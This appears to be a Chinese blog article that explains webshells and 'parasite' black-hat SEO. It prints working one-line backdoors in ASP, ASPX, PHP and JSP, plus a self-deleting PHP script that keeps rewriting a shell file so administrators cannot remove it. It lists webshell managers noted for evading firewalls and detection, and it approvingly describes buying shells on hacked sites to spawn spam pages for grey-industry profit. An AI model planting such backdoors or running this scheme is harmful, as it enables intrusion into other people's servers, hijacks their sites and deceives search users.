WEBSHELL寄生蟲(chóng)的排名原理和作用分析
的排名原理和作用分析.jpg)
很多剛接觸黑帽SEO的朋友會(huì)問(wèn)到什么是寄生蟲(chóng)排名技術(shù),寄生蟲(chóng)主要用來(lái)做什么的,有什么作用啊之類(lèi)的問(wèn)題。寄生蟲(chóng)排名技術(shù)的發(fā)展也是有一定的歷史的,從最初的使用到后來(lái)黑帽SEO優(yōu)化技術(shù)中的普及,再到目前的百度快速排名甚至百度霸屏的案例中,都存在寄生蟲(chóng)技術(shù)的身影。
也就是說(shuō),在真正操作黑帽SEO優(yōu)化中,寄生蟲(chóng)排名這種技術(shù)也是大家接觸的最為頻繁的一個(gè)工具甚至說(shuō)是一門(mén)技術(shù)手法。
下面來(lái)給大家詳細(xì)講一下黑帽SEO技術(shù)中關(guān)于webshell與寄生蟲(chóng)排名技術(shù)的一些知識(shí)點(diǎn)。
什么是WebShell?
顧名思義,“web”的含義是顯然需要服務(wù)器開(kāi)放web服務(wù),“shell”的含義是取得對(duì)服務(wù)器某種程度上操作權(quán)限。webshell常常被稱(chēng)為入侵者通過(guò)網(wǎng)站端口對(duì)網(wǎng)站服務(wù)器的某種程度上操作的權(quán)限。由于webshell其大多是以動(dòng)態(tài)腳本的形式出現(xiàn),也有人稱(chēng)之為網(wǎng)站的后門(mén)工具。
Webshell就是以asp、php、jsp或者cgi等網(wǎng)頁(yè)文件形式存在的一種代碼執(zhí)行環(huán)境,也可以將其稱(chēng)做為一種網(wǎng)頁(yè)后門(mén)。黑客在入侵了一個(gè)網(wǎng)站后,通常會(huì)將asp或php后門(mén)文件與網(wǎng)站目錄下正常的網(wǎng)頁(yè)文件混在一起,然后就可以使用瀏覽器來(lái)訪問(wèn)asp或者php后門(mén),得到一個(gè)命令執(zhí)行環(huán)境,以達(dá)到控制網(wǎng)站服務(wù)器的目的。
利用Webshell可以在Web服務(wù)器上執(zhí)行系統(tǒng)命令、竊取數(shù)據(jù)、植入病毒、Le索核心數(shù)據(jù)、SEO掛馬等惡意操作,危害極大。
WebShell的特點(diǎn)
黑客使用Webshell的第一步通常是將其上傳到可以訪問(wèn)的服務(wù)器中,例如利用用戶CMS系統(tǒng)的第三方插件中的漏洞上傳一個(gè)簡(jiǎn)單的php Webshell。當(dāng)然,Webshell類(lèi)型和作用也不完全相同,一些簡(jiǎn)單的Webshell只起到連接外界的作用,允許黑客插入更加精準(zhǔn)的惡意腳本,執(zhí)行他們所需要的指令;另外一些則可能更加復(fù)雜,帶有數(shù)據(jù)庫(kù)或文件瀏覽器,讓黑客能夠從數(shù)千英里之外的地方查看入侵系統(tǒng)的代碼和數(shù)據(jù)。無(wú)論何種設(shè)計(jì),Webshell都極其危險(xiǎn),是網(wǎng)絡(luò)罪犯和高級(jí)持續(xù)威脅(APTs)的常用工具。Webshell常見(jiàn)的攻擊特點(diǎn)主要有以下幾點(diǎn):
持久化遠(yuǎn)程訪問(wèn)
Webshell腳本通常會(huì)包含后門(mén),黑客上傳Webshell之后,就可以充分利用Webshell的后門(mén)實(shí)現(xiàn)遠(yuǎn)程訪問(wèn)并控制服務(wù)器,從而達(dá)到長(zhǎng)期控制網(wǎng)站服務(wù)器的目的。此外,在上傳完Webshell之后,黑客會(huì)選擇自己修復(fù)漏洞,以確保沒(méi)有其他人會(huì)利用該漏洞。通過(guò)這種方式,黑客就可以一種低調(diào)的姿態(tài),避免與管理員進(jìn)行任何交互,同時(shí)仍然獲得相同的結(jié)果。
提權(quán)
在服務(wù)器沒(méi)有配置錯(cuò)誤的情況下,Webshell將在web服務(wù)器的用戶權(quán)限下運(yùn)行,而用戶權(quán)限是有限的。通過(guò)Webshell,黑客可以利用系統(tǒng)上的本地漏洞來(lái)實(shí)現(xiàn)權(quán)限提升,從而獲得Root權(quán)限,這樣黑客基本上可以在系統(tǒng)上做任何事情,包括安裝軟件、更改權(quán)限、添加和刪除用戶、竊取密碼、閱讀電子郵件等等。
隱蔽性極強(qiáng)
Webshell可以嵌套在正常網(wǎng)頁(yè)中運(yùn)行,且不容易被查殺。它還可以穿越服務(wù)器防火墻,由于與被控制的服務(wù)器或遠(yuǎn)程主機(jī)交互的數(shù)據(jù)都是通過(guò)80端口傳遞,因此不會(huì)被防火墻攔截,在沒(méi)有記錄流量的情況下,Webshell使用post包發(fā)送,也不會(huì)被記錄在系統(tǒng)日志中,只會(huì)在Web日志中記錄一些數(shù)據(jù)提交的記錄。
WebShell的分類(lèi)
Webshell根據(jù)腳本可以分為PHP腳本木馬,ASP腳本木馬,JSP腳本木馬,也有基于.NET的腳本木馬。根據(jù)時(shí)代和技術(shù)的變遷,也有用python和lua編寫(xiě)的腳本木馬,常用有如下幾種:
大馬
•體積大,功能全•會(huì)調(diào)用系統(tǒng)關(guān)鍵函數(shù)•以代碼加密進(jìn)行隱藏
小馬
•體積小,功能少•一般只有一個(gè)上傳功能,用于上傳大馬
一句話木馬
•代碼短•使用場(chǎng)景大,可單獨(dú)生成文件,可插入文件•安全性高,隱藏性強(qiáng),可變形免殺•框架不變,數(shù)據(jù)執(zhí)行,數(shù)據(jù)傳遞
打包馬
•主要用于打包網(wǎng)站源碼
拖庫(kù)馬
•主要用于導(dǎo)出網(wǎng)站數(shù)據(jù)庫(kù)
內(nèi)存馬
•無(wú)文件落地•極難檢測(cè)和發(fā)現(xiàn)•難以清除
注:之后所講的WebShell就是指一句話木馬
WebShell的原理
Webshell的惡意性表現(xiàn)在它的實(shí)現(xiàn)功能上,是一段帶有惡意目的的正常腳本代碼。
不同腳本類(lèi)型的一句話木馬:
<%eval?request(“cmd”)%>
<%@?Page?Language=”Jscript”%><%eval(Request.Item[“cmd”],”unsafe”);%>
<?php @eval($_POST[‘cmd’]); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
這里僅對(duì)PHP的一句話木馬進(jìn)行分析,核心步驟如下:
數(shù)據(jù)的傳遞
•$_GET、$_POST、$_COOKIES、$_REQUEST、$_FILE、$_SERVER•從遠(yuǎn)程遠(yuǎn)程URL中獲取數(shù)據(jù): file_get_contents、curl、svn_checkout...(將需要執(zhí)行的指令數(shù)據(jù)放在遠(yuǎn)程URL中,通過(guò)URL_INCLUDE來(lái)讀取)•從本地磁盤(pán)文件中獲取數(shù)據(jù): file、file_get_contents...(將需要執(zhí)行的指令數(shù)據(jù)放在本地磁盤(pán)文件中,利用IO函數(shù)來(lái)讀取)•從數(shù)據(jù)庫(kù)中讀取(將需要執(zhí)行的指令放在數(shù)據(jù)庫(kù)中,利用數(shù)據(jù)庫(kù)函數(shù)來(lái)讀取)•從圖片頭部中獲取: exif_read_data...(將需要執(zhí)行的指令數(shù)據(jù)放在圖片頭部中,利用圖片操作函數(shù)來(lái)讀取)
代碼執(zhí)行
將用戶傳輸?shù)臄?shù)據(jù)進(jìn)行執(zhí)行
•代碼執(zhí)行函數(shù):eval、assert、system…執(zhí)行(這是最普通、標(biāo)準(zhǔn)的代碼執(zhí)行)•LFI:include、require...(利用瀏覽器的偽協(xié)議將文件包含轉(zhuǎn)化為代碼執(zhí)行)•動(dòng)態(tài)函數(shù)執(zhí)行:($()...PHP的動(dòng)態(tài)函數(shù)特性)•Curly Syntax:(${${…}}...這種思路可以把變量賦值的漏洞轉(zhuǎn)化為代碼執(zhí)行的機(jī)會(huì))
內(nèi)存馬
有關(guān)Java內(nèi)存馬以及JspWebShell的免殺我打算之后在Java代碼審計(jì)中詳細(xì)講解,這里就全部以PHP的腳本木馬為主。
何為內(nèi)存馬?
內(nèi)存馬是無(wú)文件攻擊的一種常用手段,隨著攻防演練熱度越來(lái)越高:攻防雙方的博弈,流量分析、EDR等專(zhuān)業(yè)安全設(shè)備被藍(lán)方廣泛使用,傳統(tǒng)的文件上傳的webshll或以文件形式駐留的后門(mén)越來(lái)越容易被檢測(cè)到,內(nèi)存馬使用越來(lái)越多。
Webshell內(nèi)存馬,是在內(nèi)存中寫(xiě)入惡意后門(mén)和木馬并執(zhí)行,達(dá)到遠(yuǎn)程控制Web服務(wù)器的一類(lèi)內(nèi)存馬,其瞄準(zhǔn)了企業(yè)的對(duì)外窗口:網(wǎng)站、應(yīng)用。但傳統(tǒng)的Webshell都是基于文件類(lèi)型的,黑客可以利用上傳工具或網(wǎng)站漏洞植入木馬,區(qū)別在于Webshell內(nèi)存馬是無(wú)文件馬,利用中間件的進(jìn)程執(zhí)行某些惡意代碼,不會(huì)有文件落地,給檢測(cè)帶來(lái)巨大難度。
PHP內(nèi)存馬
PHP內(nèi)存馬,也叫做PHP不死馬、不死僵尸,在線下AWD中是常用手段之一。在蟻劍中也有專(zhuān)門(mén)的插件可以一鍵注入內(nèi)存馬。原理也很簡(jiǎn)單,相對(duì)于Java可以直接把整個(gè)shell寫(xiě)入內(nèi)存,php內(nèi)存馬的實(shí)現(xiàn)則是將一個(gè)木馬反復(fù)寫(xiě)入,達(dá)到無(wú)法刪除的目的。
<?php
ignore_user_abort(true); //設(shè)置客戶端斷開(kāi)連接時(shí)是否中斷腳本的執(zhí)行
set_time_limit(0); //設(shè)置腳本最大執(zhí)行時(shí)間linux下可能不大好用
unlink(__FILE__); //刪除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//惡意代碼
usleep(5000); //延遲執(zhí)行可有可無(wú)
}
?>
本質(zhì)上原理是不變大,執(zhí)行死循環(huán),然后刪除自身。但實(shí)際上這樣做還是會(huì)有文件落地,只是管理員刪不掉、刪不完罷了。我們也可以用利用fastcgi對(duì)php攻擊執(zhí)行命令,但這樣是否算一個(gè)駐留wenshell還有待爭(zhēng)議。
WebShell管理工具
中國(guó)菜刀(Chopper)
中國(guó)菜刀是一款專(zhuān)業(yè)的網(wǎng)站管理軟件,用途廣泛,使用方便,小巧實(shí)用。只要支持動(dòng)態(tài)腳本的網(wǎng)站,都可以用中國(guó)菜刀來(lái)進(jìn)行管理!在非簡(jiǎn)體中文環(huán)境下使用,自動(dòng)切換到英文界面。UNICODE方式編譯,支持多國(guó)語(yǔ)言輸入顯示。
蟻劍(AntSword)
中國(guó)蟻劍是一款開(kāi)源的跨平臺(tái)網(wǎng)站管理工具,它主要面向于合法授權(quán)的滲透測(cè)試安全人員以及進(jìn)行常規(guī)操作的網(wǎng)站管理員。任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!使用編/解碼器進(jìn)行流量混淆可繞過(guò)WAF,并且有多款實(shí)用插件。
項(xiàng)目地址:
•https://github.com/AntSwordProject/antSword
冰蝎(Behinder)
冰蝎是一款基于Java開(kāi)發(fā)的動(dòng)態(tài)二進(jìn)制加密通信流量的新型Webshell客戶端,由于它的通信流量被加密,使用傳統(tǒng)的WAF、IDS等設(shè)備難以檢測(cè),目前在HVV中使用較多的一款工具。
項(xiàng)目地址:
•http://github.com/rebeyond/Behinder
哥斯拉(Godzilla)
哥斯拉是一款繼冰蝎之后又一款于Java開(kāi)發(fā)的加密通信流量的新型Webshell客戶端,內(nèi)置了3種有效載荷以及6種加密器,6種支持腳本后綴,20個(gè)內(nèi)置插件,也是目前在HVV中使用較多的一款工具。
•項(xiàng)目地址:https://github.com/BeichenDream/Godzilla
C刀(Cknife)
C刀是一款基于Java開(kāi)發(fā)的完全基于配置文件的中國(guó)菜刀,跨平臺(tái),腳本類(lèi)型支持ASP、ASPX、PHP、JSP、JSPX、Customize,目前完成的功能有:文件管理、數(shù)據(jù)庫(kù)管理、模擬終端以及代理設(shè)置等。
項(xiàng)目地址:
•https://github.com/Chora10/Cknife
Web版菜刀(WebKnife)
WebKnife是陌小離練習(xí)ajax時(shí)候?qū)懙囊豢畎氤善稺eb版菜刀,目前完成的功能有:文件管理,虛擬終端,文件查看,圖片查看,一鍵掛黑,作者居然還是個(gè)00后,tql!
項(xiàng)目地址:
•https://github.com/MoLeft/WebKnife
XISE
XISE是小駿用易語(yǔ)言開(kāi)發(fā)的一款類(lèi)似于中國(guó)菜刀的Webshell網(wǎng)站管理工具,早些年做黑帽SEO的基本人手一份,現(xiàn)在已經(jīng)停止更新,至于什么原因,大家都懂的!!!
開(kāi)山斧
開(kāi)山斧是一款基于Python 2.7X + QT4開(kāi)發(fā)的一款跨平臺(tái)菜刀 (Win/Linux/Mac),體積比較大,剛出來(lái)時(shí)只用過(guò)一次,現(xiàn)在用的人應(yīng)該不多,也已經(jīng)停止更新了。
項(xiàng)目地址:
•https://github.com/pyqteval/evlal_win
K8飛刀
K8飛刀是K8哥哥開(kāi)發(fā)的一款Webshell網(wǎng)站管理工具,不得不說(shuō)他開(kāi)發(fā)的安全工具都很強(qiáng)大且實(shí)用,只不過(guò)個(gè)人感覺(jué)略顯臃腫,對(duì)新人來(lái)說(shuō)可能不是很友好,有興趣的可以自己去看一下。
項(xiàng)目地址:
•https://github.com/k8gege/K8tools
Weevely
Weevely是一款python編寫(xiě)的生成和管理php webshell的安全測(cè)試工具,目前擁有30多個(gè)模塊:文件管理、命令執(zhí)行、數(shù)據(jù)庫(kù)管理、端口掃描等功能,部分模塊不支持在Windows環(huán)境下使用。
項(xiàng)目地址:
•https://github.com/epinna/weevely3
WeBaCoo
WeBaCoo是一款Perl語(yǔ)言編寫(xiě)的Web后門(mén)工具,它的特別之處在于Web服務(wù)器和客戶端之間的通信載體是Cookie,這就意味著多數(shù)的殺毒軟件、網(wǎng)絡(luò)入侵檢測(cè)/防御系統(tǒng)、網(wǎng)絡(luò)防火墻和應(yīng)用程序防火墻都無(wú)法檢測(cè)到該后門(mén)的存在。當(dāng)然,這只是以前的介紹,現(xiàn)在基本都會(huì)被檢測(cè)了。
一、什么是寄生蟲(chóng)
寄生蟲(chóng)排名大多數(shù)都是通過(guò)從黑客手里購(gòu)買(mǎi)站點(diǎn)webshell,然后對(duì)其站點(diǎn)不斷生成新的頁(yè)面產(chǎn)生排名,進(jìn)行變相無(wú)限繁殖。
但有兩點(diǎn)需要注意:
1、一般高權(quán)重網(wǎng)站的shell權(quán)限很難獲取,因?yàn)檫@類(lèi)網(wǎng)站大都有專(zhuān)業(yè)技術(shù)人員在管理維護(hù),黑客沒(méi)那么容易拿到權(quán)限。
2、一般低權(quán)重網(wǎng)站就算你拿到了權(quán)限,但也對(duì)你排名沒(méi)什么很大的價(jià)值。
二、常見(jiàn)寄生蟲(chóng)程序簡(jiǎn)介
目前市面上有很多寄生蟲(chóng)程序,但告訴大家其實(shí)這些程序的功能大多相似,主要還是在于寄生蟲(chóng)程序模版的選擇與使用,是否更適應(yīng)搜索引擎的排名算法。影響寄生蟲(chóng)排名的最終結(jié)果主要取決于webshell的質(zhì)量度。沒(méi)有強(qiáng)大的高質(zhì)量的shell,再好的寄生蟲(chóng)程序也做不出來(lái)很好的效果。同樣的話,假如你的webshell質(zhì)量度很高,相對(duì)來(lái)說(shuō)你所繁殖生成的關(guān)鍵詞URL鏈接頁(yè)面就會(huì)通過(guò)該shell的主站權(quán)重傳遞獲得一個(gè)相對(duì)不錯(cuò)的排名結(jié)果。
三、寄生蟲(chóng)的種類(lèi)
1、從類(lèi)型上看,寄生蟲(chóng)程序主要分兩種,即動(dòng)態(tài)寄生蟲(chóng)和靜態(tài)寄生蟲(chóng)。簡(jiǎn)單理解就是生成繁殖的URL鏈接形式分為動(dòng)態(tài)連接和靜態(tài)鏈接這兩種形式,從生成的頁(yè)面鏈接上就可以看的出來(lái)。
2、從程序語(yǔ)言上看,寄生蟲(chóng)程序又分為ASP版寄生蟲(chóng)和PHP版寄生蟲(chóng),編寫(xiě)使用語(yǔ)言不同,所繁殖生成的頁(yè)面URL鏈接形式也不同。這里大家主要作為了解即可。
四、寄生蟲(chóng)的排名工作原理
1、寄生蟲(chóng)程序區(qū)別于很多黑帽SEO程序,那么寄生蟲(chóng)大家都不陌生。但寄生蟲(chóng)真正的工作原理,是為了更高效率的生存。首先要知道寄生蟲(chóng)的前身是泛目錄,泛目錄的前身是目錄輪鏈,目錄輪鏈的前身是橋頁(yè)。
2、寄生蟲(chóng)分為客戶端與服務(wù)端,新手會(huì)有顧慮,為何搞出服務(wù)端這么麻煩。但如果是大批量操作,寄生蟲(chóng)非常節(jié)省時(shí)間,協(xié)助能力也非常的高。
3、寄生蟲(chóng)的原理是通過(guò)客戶端獲取服務(wù)器端信息繁殖,因此客戶端就很簡(jiǎn)單,只有一個(gè)文件,但客戶端放到Shell網(wǎng)站,即可指定的獲取服務(wù)器端信息,服務(wù)器端信息配置更新,客戶端也會(huì)對(duì)新的信息進(jìn)行生成輪鏈。那么客戶端是獲取服務(wù)器端信息的,同樣就需要配置服務(wù)器端,服務(wù)器端進(jìn)行一次配置。以后不管有幾個(gè)Shell站,都可以同時(shí)用服務(wù)器端配置好的信息。
4、配置好服務(wù)器端后,客戶端獲取地址填寫(xiě)架設(shè)服務(wù)器端的地址,客戶端放到自己網(wǎng)站、放到Shell站中即會(huì)產(chǎn)生數(shù)十個(gè)目錄輪鏈地址,此時(shí)你看到的并不是和泛目錄一樣有很多的目錄,寄生蟲(chóng)是繁殖的,通過(guò)百度蜘蛛或者人工每次訪問(wèn),在有訪問(wèn)的情況下,不管是人工還是蜘蛛,都會(huì)在進(jìn)行繁殖生成的。
5.寄生蟲(chóng)繁殖可以通過(guò)多個(gè)Shell無(wú)限繁殖,那么值得一說(shuō)的,寄生蟲(chóng)同樣有Shell站群功能,通過(guò)不同的Shell生成,客戶端會(huì)返回URL數(shù)據(jù)到服務(wù)器端,服務(wù)器端記錄下此次的繁殖數(shù)據(jù),在下次不同的Shell進(jìn)行繁殖,會(huì)鏈接上上一次繁殖的頁(yè)面。寄生蟲(chóng)站群相互鏈接功能,在多個(gè)Shell中,寄生蟲(chóng)會(huì)記錄每個(gè)URL并進(jìn)行相互的站群導(dǎo)入導(dǎo)出輪鏈操作。
這就是寄生蟲(chóng)繁殖的功能,每次生成數(shù)十個(gè)頁(yè)面,通過(guò)蜘蛛的來(lái)訪,會(huì)再繁殖幾十個(gè)頁(yè)面,以此循環(huán)。
五、寄生蟲(chóng)的作用
1.在有效的資源下,把所有想做的關(guān)鍵詞都建立在一個(gè)龐大的資源上(適用于灰色產(chǎn)業(yè))。
2.能夠快速的實(shí)現(xiàn)大量長(zhǎng)尾詞甚至核心詞在搜索引擎上的一個(gè)排名提現(xiàn),帶來(lái)收益。
總結(jié):
寄生蟲(chóng)通過(guò)建立強(qiáng)大的鏈接資源庫(kù),推動(dòng)網(wǎng)站關(guān)鍵詞排名上升,實(shí)現(xiàn)寄生蟲(chóng)的最終目的從搜索引擎端獲取到最大規(guī)模的流量,通過(guò)良好的商業(yè)模式,實(shí)現(xiàn)盈利。

